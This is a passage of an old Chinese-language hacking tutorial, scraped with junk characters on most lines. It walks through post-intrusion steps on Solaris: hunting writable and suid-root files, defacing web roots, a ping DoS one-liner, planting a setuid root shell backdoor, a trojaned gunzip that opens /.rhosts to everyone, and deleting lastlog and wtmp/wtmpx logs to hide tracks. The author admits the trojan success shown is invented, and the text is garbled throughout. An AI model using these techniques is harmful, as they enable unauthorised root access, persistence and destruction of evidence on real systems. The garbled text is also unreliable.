7 `9 ?7 Z, C5 h7 }; bdefault 159.226.5.189 UG 0 1198* p, S$ Y4 |' {. T: i) M6 G
' w: j9 N4 ^6 q0 o8 O0 S! }......
. {" i! [! z, x3 ?$ F/ [
$ V% z- Q0 w- D9 L2.1) 尋找可寫文件、目錄
! {/ m2 _ D1 t/ C/ R _" J1 g. a
) u( m3 b( M/ `8 Z- l+ m- R( Kox% cd /tmp% k( a4 J! z1 J; [! U3 c) f$ M
% g; W3 K% s: Jox% cd /tmp
" O3 }' M( ]0 T. \8 m/ L# a" }
$ g( w5 K3 D7 m; S8 y; F9 `, Vox% mkdir .hide
8 U/ p8 p; M6 e, O& C* S7 E7 g$ K+ I6 h2 i
ox% cd .hide
0 _- y6 B, b% {: C4 }; O! y/ V \0 V/ f3 ^' v4 v/ m+ H* r
ox% ls -ld `find / ( ( -type d -o -type f ) -a ( -perm -0002 -o -group 800
- {5 A% D" |& |; G! ~! s9 q: G1 `+ i& ]2 s1 J+ ?
-a -perm -0020 ) ) -print` >.wr
& ~, G8 [4 N& G
, Z& q3 _$ s9 S. _6 D/ C, A# `; w3 T(samsa:wr=writables:可寫目錄、文件)
+ C0 m/ @; A, n! g8 l9 O7 r" O) i. t' ]
ox% grep '^d' .wr > .wd3 z7 @( u- K$ H- b! [
8 P- S. i" J g(samsa:wd=writable directories:目錄)! m4 L! ]% t- n) n2 r
0 s& N: F1 E: I( h/ N% A
ox% grep '^-' .wr > .wf
" L' v; N! x+ h* Q0 \! U
. D7 R+ Z0 c; b4 ^, H(samsa:wf=writable files:普通文件)
6 y" |0 H8 _9 ^7 x- P- G/ [1 G6 k+ R: ]
ox% ls -l `find / ( -perm -4000 -a -user root ) -print` >.sr
1 U- \; Y. V+ Q7 f4 c( h4 r/ ?; _3 T5 B# Q- E
(samsa:sr=suid roots)
# p5 n, t: o) h, I, G: G& x5 Z
+ G0 x l% \( f9 X8 g# A2.1.1) 系統(tǒng)配置文件可寫:e.g.pam.conf,inetd.conf,inittab,passwd,etc.5 Q% C. @$ L0 A
/ f) o" _ d8 b+ S% \1 f. l" b2.1.2) bin 目錄可寫:e.g./usr/bin,/usr/local/bin,etc. (see:Trojan horses)
! S8 d5 J' y, n2 O8 I4 @" S, H! P" V$ o5 Z9 v# \; f
2.1.3) log 文件可寫:e.g./var/adm/wtmp,/var/adm/messges,etc.(for track-erasing)
* g9 z$ b+ M8 t' I# e6 b1 w" j' A- k+ a' ?- u' T% n
2.2) 篡改主頁
. T! v$ I3 R! y& S% L [4 d- {: ?% P: W" J) I* S( L3 ~
絕大多數(shù)系統(tǒng) http 根目錄下權(quán)限設(shè)置有誤!不信請看:, m8 y3 D' {! m8 { z7 e9 O4 m
* x" n! q) r' Wox1% grep http /etc/inetd.conf
: E" F3 U- {2 f$ J. n O$ U; b+ S2 S! G' o0 ]7 X8 L
ox1% ps -ef | grep http
5 s1 L# { K5 ?& q9 [3 w; p% }; d& c& i& b
http 7538 251 0 14:02:35 ? 0:02 /opt/home1/ofc/http/httpd/httpd -
/ N8 ]$ u- |8 C9 j {+ O8 q& ?6 Y" G- [4 k* m' a3 H0 \+ s
f /opt/home1/ofc/http/httpd/conf/httpd.conf
5 g5 O! d/ @0 Z! I8 S0 u7 x/ ?/ D, f# E( \) b) v
http 7567 251 0 15:16:46 ? 0:01 /opt/home1/ofc/http/httpd/httpd -/ [+ |# R/ h' z" Y( E9 I2 P# V
- a% d. i7 C* {9 Df /opt/home1/ofc/http/httpd/conf/httpd.conf
; M- g K) P. m4 m, k5 _- u
3 F3 z0 V6 O" d( ^; zroot 251 1 0 May 05 ? 3:27 /opt/home1/ofc/http/httpd/httpd -
. Q. a+ L9 |1 V8 ~
6 A0 M! g8 q5 U/ Z$ ef /opt/home1/ofc/http/httpd/conf/httpd.conf$ ]1 x5 ]( H6 r
4 g3 `7 o* \; A. |) D......
% p( q6 b3 w9 s7 w( y- b* I9 ]# a' w
) s% v G* `5 v1 O( v% K. m# Hox1% cd /opt/home1/ofc/http/httpd
/ y6 @, {3 \! Y' B8 Y
* B: e; {! c0 v) Mox1% ls -l |more
3 p* \7 E6 B, x3 u, `# u5 J$ @ b+ U, [0 i" ~. C* n
total 5309 w" ^$ d1 F0 K
% }/ l5 O2 I& Z8 H2 K. K# B1 Udrwxrwxrwx 11 http ofc 512 Jan 18 13:21 English; ]" z7 N" D3 S- Y! D# s {
5 x: z' p5 w& D% m, B6 p- ~, k-rw-rw-rw- 1 http ofc 8217 May 10 09:42 Welcome.html0 t* @7 y m5 h- H5 {* a
* p& r& T: ^2 J0 t% c: V- }5 |5 q
-rw-rw-rw- 1 http ofc 8217 May 10 09:42 Welcome.html
0 i; r& O# u# Q. z" a7 z% W; v* H+ G, |
drwxr-sr-x 2 http ofc 512 Dec 24 15:20 cgi-bin4 |3 b% i% B$ Z3 k5 ?' p# ^
$ v* v& m2 r, O' O; S, qdrwxr-sr-x 2 http ofc 512 Mar 24 1997 cgi-src
. }; I# |! p) b( w/ |3 B c8 C; f6 c( E( T# F
drwxrwxrwx 2 http ofc 512 Jan 12 15:05 committee
[6 p- a% T% s: r3 l# J
2 t, w9 s3 C! ^2 ndrwxr-sr-x 2 root ofc 512 Jul 2 1998 conf
4 o, ^$ D6 Z" Y) h4 N0 c6 a& {
' y" i" @" ~( R* W. m-rwxr-xr-x 1 http ofc 203388 Jul 2 1998 httpd
. ^0 o7 G* {3 Y. ~. A0 W# |. P; k7 G) F8 c+ f$ L1 @- c. E7 }
drwxrwxrwx 2 http ofc 512 Jan 12 15:06 icons
[% Q! z, _" E7 }$ c& E4 [, b9 |6 N. h1 U: y" S
drwxrwxrwx 2 http ofc 3072 Jan 12 15:07 images
- g1 s0 S# v9 I& y" F/ O7 S: k. j" ^+ @% {& K/ L- O. x7 Q5 ~9 _
-rw-rw-rw- 1 http ofc 7532 Jan 12 15:08 index.htm" v9 R8 I- w0 w9 H E: y
# q9 c0 f2 L' y, s3 o1 K* Y) Pdrwxrwxrwx 2 http ofc 512 Jan 12 15:07 introduction( w' [' q# V& _
/ i7 {: v5 ^8 E& W. Z @
drwxr-sr-x 2 http ofc 512 Apr 13 08:46 logs7 |* w) n: T z8 x
# i5 ], F1 _; b, w/ A+ I
drwxrwxrwx 2 http ofc 1024 Jan 12 17:19 research" j- P# G) C, G5 B
) n; E! o0 q6 b$ s! |
(samsa:哈哈??!差不多全都可以寫,太牛了,改吧,還等什么??): i* N% S& a. ?4 I6 n& j
* V: D) v* R; L: _
3) 拒絕服務(wù)(DoS:Denial of Service)- l4 T6 B0 W- r
N. t0 s3 a0 v; x# \" G6 M# W9 T y利用系統(tǒng)漏洞搗亂* n$ M+ \! a: f9 k, z5 D4 T U
. J8 T d0 ]; _& z4 d/ e: |1 u
e.g. Solaris 2.5(2.5.1)下:3 |# `3 d+ Q1 S; \
1 g& \; s; y& H* i: G
$ ping -sv -i 127.0.0.1 224.0.0.1
6 M P( C4 R; h O3 M4 x
# Q- v y c; }) i c% w* K% N; kPING 224.0.0.1 56 data bytes6 H) E7 n/ k# _% S3 x
1 x* t2 Y/ W' B+ s1 @1 s(samsa:于是機器就reboot樂,荷荷)3 v+ c4 Q) w$ h, u
$ {8 s' K4 c& v9 o
六、最后的瘋狂(善后)
1 S9 u6 n) F# }0 M0 H* x- W
1 Q1 u1 o/ ?0 L _1) 后門
' s$ d2 [0 D$ g& w( i2 i4 r- C% D5 k
, Y" |* ]4 [" N6 ~e.g.有一次,俺通過改寫/.rhosts成了root,但.rhosts很容易被發(fā)現(xiàn)的哦,怎么
6 v. a7 O1 Z" p! U; C# g+ i" y6 V( I8 ]
辦?留個后門的說:* E# t3 m/ k* g: d; @& A
6 F+ _4 W/ c" }* w# rm -f /.rhosts) N/ h2 Z/ U0 `
' d( G2 J' |! j# ~% l
# cd /usr/bin6 F" M# ~/ k9 g$ X
5 n: W) l5 g" A) ` P) v0 q
# ls mscl
1 H1 u$ w# ` \- g0 f0 ~! l' V% k0 h, Z3 |- a9 A* W0 C8 n" i
# ls mscl
) Y8 O. ?9 C1 ?2 u6 A4 l# B0 D
/ ]! G ~% x9 K7 b7 o: i1 _/ a1 o cmscl: 無此文件或目錄* O! U8 j- n1 X7 ]
5 X0 |2 w/ ]+ ^, e" x
# cp /bin/ksh mscl
$ y$ p! L5 \2 C7 p3 M2 R, x
[2 ^5 U/ A0 ?! K. q# chmod a+s mscl, H2 }; L3 \$ j5 Q
6 f" {. f1 W( R$ y. I# ls -l mscl7 L; Z0 Q7 e! Q/ l3 v
& J7 _4 T; C0 R3 j% Q-r-sr-sr-x 1 root ofc 192764 5月 19 11:42 mscl; U4 \9 X5 s/ @$ l; Y
9 P# K7 N) f0 Q以后以任何用戶登錄,只要執(zhí)行``/usr/bin/mscl''就成root了。
8 `1 F. l' m5 t( G4 W. D9 e' J- r: J% s% y4 K3 d
/usr/bin下面那一大堆程序,能發(fā)現(xiàn)這個mscl的幾率簡直小到可以忽略不計了。
" E0 h, K# y9 p4 H( H7 z2 J8 [$ t: h; |! U2 b R
2) 特洛伊木馬
# ~/ D& w/ p8 F( j% V ?4 X9 P3 ?! p; @( p& e$ P
e.g. 有一次我發(fā)現(xiàn):" m; s% e; O0 g" f( z
& G. d$ k' t( |/ f! t
$ echo $PATH
6 W4 Q2 b$ i" {5 R( E
# X4 p! w' C( N8 Z; E& W/usr/sbin:/usr/bin:/usr/ccs/bin:/opt/gnu/bin:.
# [' ~9 U0 O" k2 @# ~. T4 p
) D- ]9 X( Z1 d; _4 l$ ls -ld /opt/gnu/ }1 u, a5 M1 ?+ K% ], d* G: O! Z
1 w4 l( G: a; s3 _& @6 O* Vdrwxrwxrwx 7 root other 512 5月 14 11:54 /opt/gnu
a: Z, b6 P: L& Q( `8 A: u; E8 T0 a1 K
$ cd /opt/gnu9 }8 _# b8 E0 @% u# g- ^. c
9 l6 P2 Q* u. ^) S; h: f8 `
$ ls -l
7 z/ b' c/ |6 s/ _
6 j* d6 c' l3 ]$ ^8 xtotal 247 A9 G/ T* j6 O8 Q) X9 s
5 e3 I% B/ ]( \8 I8 s( F( s6 p
drwxrwxrwx 7 root other 512 5月 14 11:54 .
8 W6 b& ^' S8 b5 l
3 R) k+ f$ F0 K9 v# _drwxrwxr-x 9 root sys 512 5月 19 15:37 ..4 H: y6 e; I3 G3 X; d. B9 l% c
' E1 {8 t% u7 ~
drwxr-xr-x 2 root other 1536 5月 14 16:10 bin
3 e m0 ?4 N9 d V$ V
) r( y5 [/ i5 i1 U t9 |drwxr-xr-x 3 root other 512 1996 11月 29 include
/ E5 |0 m( j. E
, \5 K4 E' A) H0 X( a8 ~drwxr-xr-x 2 root other 3584 1996 11月 29 info' l4 a8 W5 V [$ R, ?9 y7 ]
4 g, v' ~ i9 t7 D9 P% Rdrwxr-xr-x 4 root other 512 1997 12月 17 lib
+ S5 W5 J( m6 l0 U
/ J2 L! Z# @- @/ o/ z$ h7 \6 k) p$ cp -R bin .TT_RT; cd .TT_RT( }: }6 v( j; v% H* u
, {$ f ]) p3 |& ^% ~
``.TT_RT''這種東東看起來象是系統(tǒng)的...! m8 A9 N& m2 k1 _/ n" @3 ^
+ h: {7 O4 h# V, g& u5 n4 u% A決定替換常用的程序gunzip
" M9 G m8 d3 Q; }! m/ Z y' d0 _5 E3 d/ N: D
$ mv gunzip gunzip:
; u. p% h1 q" Y' q ?( |: y. X3 S6 T2 l' F
$ cat > toxan
7 T* E1 K5 s, K5 }* y3 ]. c+ P8 a' {2 P0 K8 V
#!/bin/sh5 c u# D1 N" I
2 c+ S1 t5 I0 Q
echo "+ +" >/.rhosts
% F2 u$ H H0 o
0 P. A1 Q6 _3 K+ W- W^D
3 M2 E# G. Y2 N* |) L! Y1 ?0 P
( Q2 F% K0 ^1 H5 s! R/ l$ cat > gunzip' r- [" s8 G4 @+ l) j2 y
8 s: Y' }% H5 C; v
if [ -f /.rhosts ]5 l" k2 W0 x3 j" i# [2 r
, @9 {; ^3 N% s$ e8 m
then
* b" Z9 i" d0 a7 X
. ]" i- S9 M9 i1 {mv /opt/gnu/bin /opt/gnu/.TT_RT
R/ t6 P0 j- X( `9 `- ]! r, f
- i7 G: q. I& T, Mmv /opt/gnu/.TT_DB /opt/gnu/bin# |6 B! O) \3 ~) b) F
1 K9 c- k. M1 p* `4 Z y- R
/opt/gnu/bin/gunzip $*
; N# Y+ e# A% L& h( v) c' E+ s& P a+ d% V! c& Q B6 [" G; Z" _6 Q
else
. U& n7 v: E# ^$ {9 V/ i) d7 K0 e+ g/ w9 J* [5 |; \+ _
/opt/gnu/bin/gunzip: $*
; z' K; M# q2 A z' w% L$ z [" {3 R" W, t0 X _, r) ^$ Q+ U
fi
. _' l4 K! K( \% n+ J" i3 t$ X* {5 L8 u r" j9 F
fi9 K' q B& T9 l3 t/ _6 g
$ L' F" C6 } F H+ o! G$ P
^D) M" J. Z7 i4 [ r9 ?
, c5 ^& V2 [! z# C7 H$ chmod 755 toxan gunzip
& k% M8 [; W A1 W! H. ^- Q6 D, _ i7 v$ z6 N
$ cd ..
0 {, d3 k& ~2 S' x: O( S2 _% y& L) i& [
$ mv bin .TT_DB
6 }3 r2 s* S( K- J- m. a6 r
6 K* v1 k" w( u/ n: ` T) ]$ mv .TT_RT bin
5 l" x* `! o- m4 G7 X$ G
. ?/ T3 q9 J. h$ ls -l
; G7 G1 D* U" G# U" }* U
0 k5 n9 U H( ttotal 16
8 `% s: Y6 @% u1 p2 Y1 V# d* F$ J3 _, G* u' w( e' `
drwxr-xr-x 2 zw staff 1536 5月 14 16:10 bin [& `" |( Q" I, [0 r( n
! W8 N1 y: z& U* jdrwxr-xr-x 3 root other 512 1996 11月 29 include) [) `# b( T2 E" v6 H4 ?
) G; R N* y2 G2 `/ o! Z' E" ndrwxr-xr-x 2 root other 3584 1996 11月 29 info
3 |4 G6 m. v+ H
6 l5 o8 n4 U9 j* ~drwxr-xr-x 4 root other 512 1997 12月 17 lib
, ?: L) |, g* e a& d4 w7 M3 E9 P! b$ }" @
$ ls -al, s! K: Q7 r/ s% D( m7 G
9 j) l8 j$ f6 C2 ?total 24
7 D4 ^ Y7 K* ~
0 q6 { |- _( xdrwxrwxrwx 7 root other 512 5月 14 11:54 .
+ o" }5 r8 h' \, n$ @# r+ Y$ ]: T2 l1 F; V- O' k% Y
drwxrwxr-x 9 root sys 512 5月 19 15:37 ..
8 p! r7 J: d$ K9 B' }. v5 s4 f" `) g: a) C/ n: Y
drwxr-xr-x 2 root other 1536 1998 11月 2 .TT_DB" U2 R( v2 Z9 C3 ]5 v
& ~. \7 R; i- l: ` P- Idrwxr-xr-x 2 zw staff 1536 5月 14 16:10 bin" ?* s, x8 R; u8 r9 N Z
( [. S/ T) y) q; o# k* Fdrwxr-xr-x 3 root other 512 1996 11月 29 include
8 t6 e7 ?# g! f1 o+ d* K: C* {' g
4 D+ F1 ^( p& b. z' I& h& E. q3 t' `drwxr-xr-x 2 root other 3584 1996 11月 29 info8 d# E3 T" N* b7 `' w# L; A
; I2 O6 _) c9 f- T0 `9 f+ O
drwxr-xr-x 4 root other 512 1997 12月 17 lib' Q1 N! L1 H0 ~6 e$ U# m' m
t& E& t# h# z' h3 [' c
雖然有點暴露的可能(bin的屬主竟然是zw!!!),但也顧不得了。
/ `3 w- `, I( G% Z6 \/ l" o2 Q' x, M! L6 ^( e, m" t. r. P" A
盼著root盡快執(zhí)行g(shù)unzip吧...
: j, g4 K2 E) h3 M) B0 L# u; ~$ c0 ~1 m6 r) ]
過了兩天:/ q' h6 m5 w& j& [; _- F9 C+ g& {
" j1 r: e, E U. [* S; C; u$ cd /opt/gnu# i2 y( ]; L/ ^
6 a8 \8 m8 d. u' L7 D8 t
$ ls -al/ X% t( U) m$ d* J2 n, E
' ~# L& V, f Q1 e
total 24& s. c7 c; L1 A9 I e
8 [9 A2 N8 ]* g8 k+ S) A
drwxrwxrwx 7 root other 512 5月 14 11:54 .
9 z2 c W. K8 H2 w1 n, c6 n6 I' Y. u. Q' i# [& Z# L7 J1 T5 t$ p
drwxrwxr-x 9 root sys 512 5月 19 15:37 ..
$ x$ o) g7 F$ _0 X) w! @) A* L8 `0 D+ K; g" L6 o
drwxr-xr-x 2 zw other 1536 1998 11月 2 .TT_RT: O4 `* u4 I, h1 o3 d
$ T. s6 Q5 ]1 b( ]% @: ldrwxr-xr-x 2 root staff 1536 5月 14 16:10 bin
' p7 ^) G) O6 |% c6 I$ G* `2 E8 `+ [3 w' r9 e( p% {
drwxr-xr-x 3 root other 512 1996 11月 29 include
' p; ~1 Y& q: |* V( U9 n- m+ w0 [
% z" Q) g7 p! ^) ndrwxr-xr-x 2 root other 3584 1996 11月 29 info2 b$ A' A( |; s4 M+ q2 S
- Z" _7 \2 i* g5 X& X7 v: Rdrwxr-xr-x 4 root other 512 1997 12月 17 lib( }' c/ n# [3 L# g! X
. U/ s# k; ~1 N' A+ _: c
(samsa:bingo!!!有人運行俺的特洛伊木馬樂...)
1 E$ w1 H+ M+ Y; w
9 s- I* \/ ]% q7 R$ ls -a /4 b) Q( K5 S2 _& v6 d/ N# ^) B
; A- X) S! C m* k5 e5 X7 [
(null) .exrc dev proc* G! U( }, l( G9 `
# r) p0 Z1 r. r6 A
.. .fm devices reconfigure6 n M6 R+ i4 W+ D( q* D6 O
# d! J$ D( s# A2 q* |
.. .hotjava etc sbin
8 y( h2 y6 N: R& V' `7 E* d [
2 \2 W0 y# Y+ Z3 I+ T J..Xauthority .netscape export tftpboot" m6 y- z. j6 z
. e9 W2 o: C. y1 i& Q
..Xdefaults .profile home tmp
% a" ?7 p# y* t% ~9 Q# {% \4 a2 D/ `! A6 K: _, r) u# W- P6 J9 ^
..Xdefaults .profile home tmp Z$ p; A6 Z2 \; q
5 T% i: B% e n7 |
..Xlocale .rhosts kernel usr
! f$ l. D6 `. r4 n/ r: Z6 ?3 z' t/ @2 e2 @& ~$ o( h
..ab_library .wastebasket lib var! _. m7 Z" \, Z# v5 D4 O+ A8 C
6 w) {7 x* D2 i- S) S$ A, n+ `......
& P$ V' r3 P. q& G A5 y/ }0 ^1 f/ D& O8 s
$ cat /.rhosts4 ^% [9 y6 R4 b/ G& b: ?
; K7 {0 k3 c- Q) y/ ~+ +
0 y/ ]) c! P4 N7 ?) |9 X& E/ e7 P' C( F% e3 T; q% a
$% f' }4 k E* \$ ^: G8 ^
: W; T# Z J: `; M; |(samsa:下面就不用 羅嗦了吧?)
% m/ H: Q5 R3 M- K, Y3 F2 j/ K
. b( X Q) E4 u1 G _注:該結(jié)果為samsa杜撰,那個特洛伊木馬至今還在老地方靜悄悄地呆著呢,即無人發(fā)) P& m, F# [! F6 R6 n3 S; p4 i
$ S( v& k$ \7 Q1 n+ R
現(xiàn)也沒人光顧??!——已經(jīng)20多年過去了耶....
- P: V2 c3 J/ A4 s7 n: n" C% U1 H& Z2 H
3) 毀尸滅跡8 L# f. q g1 v
$ W: P$ s7 V9 o7 @6 w消除掉登錄記錄:! M5 b% h8 }0 O6 b7 w5 `' |9 v0 i
0 E0 _" U" {5 X' ^
3.1) /var/adm/lastlog& n& x' O- y% a
( @# Q5 ?- s6 i5 q7 {4 d4 {# T4 B$ _
# cd /var/adm
% O W; l* o# I2 R8 @3 n' J0 m' ~/ \5 t
# ls -l' [& r0 u l" x4 a6 `. Q9 W
0 ~, n! C+ ~5 X7 i
總數(shù)73258+ B" F6 o/ j. Q$ w
4 F) d5 x8 M# |, ]% `-rw------- 1 uucp bin 0 1998 10月 9 aculog
3 [9 x, [5 k: z7 I6 F, Y7 g, R$ [- M1 D6 D# v4 o
-r--r--r-- 1 root root 28168 5月 19 16:39 lastlog! a! h) @( e& l0 {( L1 s
9 j. ?; O# G0 }; c7 g! z, Q! f
drwxrwxr-x 2 adm adm 512 1998 10月 9 log7 u( l3 d& H$ N' C- i+ S! a) J$ T
1 l" M4 j, r2 s+ r-rw-r--r-- 1 root root 30171962 5月 19 16:40 messages7 R% v2 S4 R! W p0 e$ @" c O
% r' }; w8 w" Y. z
drwxrwxr-x 2 adm adm 512 1998 10月 9 passwd
0 k' M( S# i, [( c' v: W: y' l6 o. g, c6 [& I+ O
-rw-rw-rw- 1 bin bin 0 1998 10月 9 spellhist2 m" W6 @2 p! g, }, a+ i' M: L. v6 I
$ Z$ m" w/ V) K! j/ Y( J) P-rw------- 1 root root 6871 5月 19 16:39 sulog' J1 E5 q* [& S9 e( Q# U: }
9 u) z4 Y2 z) h% @; l
-rw-r--r-- 1 root bin 1188 5月 19 16:39 utmp$ ?1 b6 z, q. E* O3 d& {+ ]
% j% y8 \% E: z$ V3 x8 V' z
-rw-r--r-- 1 root bin 12276 5月 19 16:39 utmpx# m% U `6 [3 W! Q/ t. b* H; Q% F+ N
9 m% ]1 D$ y' t$ b* ~" g
-rw-rw-rw- 1 root root 122 1998 10月 9 vold.log
8 s6 I7 P+ V9 \) C
9 d' F- q6 _+ M5 w. H-rw-rw-r-- 1 adm adm 3343551 5月 19 16:39 wtmp
* T! G z' e) T: l- x
, K1 f) b6 X' U/ f+ f; R. n+ l/ _. ~- D-rw-rw-r-- 1 adm adm 7229076 5月 19 16:39 wtmpx. k$ I- o" r& I
6 H r# [, p7 |
為了下次登錄時不顯示``Last Login''信息(向真正的用戶顯示):
$ p* ?3 F# x, _7 x+ z$ H( z ^; p
# rm -f lastlog
, t/ r! @/ C+ i B; C" S9 S7 O# i
, R; `* n+ m$ Y# telnet victim.com
" V. A: L6 t9 I2 g, u* h! q9 n# j1 {) d# K% k+ X4 p0 ]
SunOS 5.7; e! L' B2 N0 X: D* L1 y
" g' y" i8 r' w( K2 W9 slogin: zw7 B* _. M) q0 H: \9 S
+ j/ q% w) O& F3 u& l5 I0 ^Password:7 v7 z2 Y% s4 O
4 A- [9 l4 n- g3 U* Q' |0 S/ WSun Microsystems Inc. SunOS 5.7 Generic October 1998
7 K, @) M! _5 @
2 E: h# e z ]* o$/ q% d: I2 q' C( d) c
! ?& i4 i" Z- M+ w(比較:
% S+ W4 O5 N7 d+ C4 P
4 ?( m8 _. O3 e( x( R& B; K. E(比較:3 U- h! G; y' k$ o. E$ P+ ^
) E. i6 M5 f, n9 j( M2 v* t0 uSunOS 5.7* N! [5 `- J& J* l1 ]
2 `2 m0 S' P6 h+ U3 N
login: zw
! j1 b& L; g! w4 `5 Y, _- B' B) w9 ^, i! O) k' p. G: k% t4 m5 M- @
Password:
3 @- S* Z; r+ k/ y ^) c. h/ \* c4 \8 v( i7 ~7 n
Last login: Wed May 19 16:38:31 from zw
$ T& ]+ X. u: T$ t3 n& D$ J% b- ]$ w7 k; f7 H! r5 z. e( I3 R
Sun Microsystems Inc. SunOS 5.7 Generic October 1998# C& N3 ?6 ]- X; U, V$ b- Z- N4 M
4 ?$ ^. P9 b8 n* [ |- S. s
$- {# q1 q# P# C. L
7 \7 b( U& P2 z# P說明:/var/adm/lastlog 每次有用戶成功登錄進來時記一條,所以刪掉以后再, r( E3 D) h, y
+ f' f2 v ^8 W1 U7 ]) w登錄一次就沒有``Last Login''信息,但再登一次又會出現(xiàn),因為系統(tǒng)會自動
; U8 I2 @" {0 K& k, `$ v ~: B$ u! u- Y, M( R
重新創(chuàng)建該文件)& X* j0 g; m' A& {) [
$ ]8 v$ o" {. _" s+ \! \9 a3.2) /var/adm/utmp,/var/adm/utmpx /var/adm/wtmp,/var/adm/wtmpx5 F7 y3 u- n6 Q+ f
1 S% C7 K' p% e6 h/ I& Eutmp、utmpx 這兩個數(shù)據(jù)庫文件存放當(dāng)前登錄在本機上的用戶信息,用于who、
0 ^* l0 [* v D) `$ I" D, v, }+ Y2 D0 B# b# j' [
write、login等程序中;( o9 H- \: f4 W
& [" C2 O! {6 H O; L0 H- h/ [: K
$ who' D6 H' x1 V' K5 `) y6 y
4 t9 u; s$ ~7 m5 M& Z4 xwsj console 5月 19 16:49 (:0)
' d( @" G9 O6 s" m( Y7 y1 R7 @3 X3 {8 v" J/ u# U% [2 B
zw pts/5 5月 19 16:53 (zw)
- H: ~; B. x3 R7 ?% u* X7 H r
5 H9 F4 O- T* ]$ x/ Lyxun pts/3 5月 19 17:01 (192.168.0.115)8 D8 O m- o7 o% w5 O3 R- P
" D( c1 }5 h! n4 v
wtmp、wtmpx分別是它們的歷史記錄,用于``last''5 w( k) g; T( l' P& y
1 a+ x0 k+ r# |# ?& a% f/ r' F命令,該命令讀取wtmp(x)的內(nèi)容并以可理解的方式進行顯示:
) M3 ^/ y. v- t t- c; D0 v7 y" ?' k8 h# f5 W0 r% C
$ last | grep zw& M& [) k3 J, k( l _
/ B7 H& p$ \1 vzw ftp 192.168.0.139 Fri Apr 30 09:47 - 10:12 (00:24)
8 W1 [# J5 \' F3 @0 t/ k# ^! ?/ W5 r0 p. s k: J0 c* k6 q
zw pts/1 192.168.0.139 Fri Apr 30 08:05 - 11:40 (03:35)2 W: ?! P) ^3 c( C% s
2 y3 D; F! G% j* Q$ W3 g
zw pts/18 192.168.0.139 Thu Apr 29 15:36 - 16:50 (01:13): b) K- x- j( S: n# E8 z) s
) o$ O# ^* ~ I/ Gzw pts/7 Thu Apr 29 09:53 - 15:35 (05:42)
- J- C1 w4 x) K5 t6 J# o8 n0 }2 y$ { a6 a+ k
zw pts/7 192.168.0.139 Thu Apr 29 08:48 - 09:53 (01:05)+ B; X4 F: L6 y, M/ L& S" d- g& {
; u& L! _7 q; L' L+ C/ x
zw ftp 192.168.0.139 Thu Apr 29 08:40 - 08:45 (00:04)
( {0 o) E' O2 M, K9 m' W# K9 ^' X% q+ ~( O
zw pts/10 192.168.0.139 Thu Apr 29 08:37 - 13:27 (04:49)8 Y1 A8 X% S" }
7 N. q$ i& Z7 p
......
i x6 D6 D4 d+ s& s4 u$ J% p3 D/ f0 @* U8 R
utmp、wtmp已經(jīng)過時,現(xiàn)在實際使用的是utmpx和wtmpx,但同樣的信息依然以舊的4 E! M; Z5 s2 _( E
3 y: v5 L/ f k0 K# C! u( d7 {+ ]# s格式記錄在utmp和wtmp中,所以要刪就全刪。
) u; ] x. O X+ ~( p' Y4 @& Y4 F9 c1 U+ h! u5 f* j
# rm -f wtmp wtmpx
8 }! [! f6 e+ H$ J+ Y
! C }3 e/ d/ S5 Q; H$ R# last/ f* ~7 d1 F! L
$ A1 X) W5 }9 D6 E3 l9 c. e
/var/adm/wtmpx: 無此文件或目錄
9 M0 {$ l; L; q1 S3 T2 o" A/ e; E: @) I0 ~
3.3) syslog8 u, d! m: v' I, o
9 E/ j4 U! y' v' W: p" ^ E
syslogd 隨時從系統(tǒng)各處接受log請求,然后根據(jù)/etc/syslog.conf中的預(yù)先設(shè)定把9 L* V ?$ y6 |9 _3 e: l
" m2 X+ o9 f( F; t* g/ u
log信息寫入相應(yīng)文件中、郵寄給特定用戶或者直接以消息的方式發(fā)往控制臺。$ `( V0 ^$ ?6 _
( L# y+ S3 v3 C& M始母?囟ㄓ沒Щ蛘咧苯右韻?⒌姆絞椒⑼?刂鋪ā?
* Q2 d: \. F. T9 C, ?
0 p8 t1 V: y, s# e不妨先看看syslog.conf的內(nèi)容:
% x3 \2 C G7 k+ w; b* E; ~& W0 o0 @1 Z2 K; z/ t
---------------------- begin: syslog.conf -------------------------------3 Q. K0 P4 a& P# t9 ~7 f
- S7 I- d, |% G J, ^
#ident "@(#)syslog.conf 1.4 96/10/11 SMI" /* SunOS 5.0 */6 }$ B7 x0 \9 M. S7 X
% H* R! p' Q* P8 Q
#! A2 F2 l! X4 V5 B4 U1 a h
: L3 |3 }% f" g* a* W' g; Y2 a- M6 x
# Copyright (c) 1991-1993, by Sun Microsystems, Inc.! t0 K. `! A8 ?3 p" b, D e
# e- j5 Q4 ]: y$ i6 T, A#
/ F; S H" x+ { C% ~+ K; V! M7 m
" l3 j5 t9 B. @/ a# syslog configuration file.
W* `$ M, ^: d3 ], D+ S9 j4 J; L. t3 X9 ]
#
7 k& w$ q+ \. w2 `6 r2 G. |0 ]6 `2 b+ o# X8 _ q
*.err;kern.notice;auth.notice /dev/console; D3 f; K: `$ p5 B3 b
/ m3 B4 U8 }: n! A9 o3 J
*.err;kern.debug;daemon.notice;mail.crit /var/adm/messages
+ i; n# Q D( _2 _
- d9 l3 n- \8 @) M) d' I' P*.alert;kern.err;daemon.err operator- a2 H3 L4 n' S" e' G* T ~
" M1 l5 R* h+ [! ?! S6 b, d% k
*.alert root& J% B0 e. V: D+ `+ X
0 m& U/ C4 M4 {
......9 S0 C0 d3 p; O8 [0 S, J
' @4 i' q/ e8 U---------------------- end : syslog.conf -------------------------------
' I4 y9 A# t! ~8 i3 b! M h" x J4 e; {& D
``auth.notice''這樣的東東由兩部分組成,稱為``facility.level'',前者表示log
# C; B. U, G2 t: t# U$ @
u. s2 T Y% |; t/ {, j# A; G信息涉及的方面,level表示信息的緊急程度。 K* e4 `* b, n+ e* D
* K' ` C r$ f; i( ^9 ^facility 有:user,kern,mail,daemon,auth,lpr,news,uucp,cron,etc...$ n5 q0 t* C* ^, z2 W# ]7 X5 f
* m& R: K' M5 R- z p+ tlevel 有:emerg,alert,crit,err,warning,info,debug,etc...(緊急程度遞減)
( c1 e( W9 z1 W2 v7 ~. X5 q o7 R8 ?6 M8 f- a8 `$ \1 h5 K
一般和安全關(guān)系密切的facility是mail,daemon,auth etc...
6 F- e: L1 M7 X7 e9 [" s, |5 g# y: `8 N2 o4 O: h
,daemon,auth etc.../ N- u- a2 t& X2 ]- R2 D
* i. _7 x% `" E0 f. \5 N
而這類信息按慣例通常存放在/var/adm/messages里。2 L$ Z% R! u! w: w6 L
# y* m7 u, ?- v. |) s' C那么 messages 里那些信息容易暴露“黑客”痕跡呢?! k; k9 }& u1 I7 u( S5 H i+ ~; m
( e4 G' E9 w, y6 l
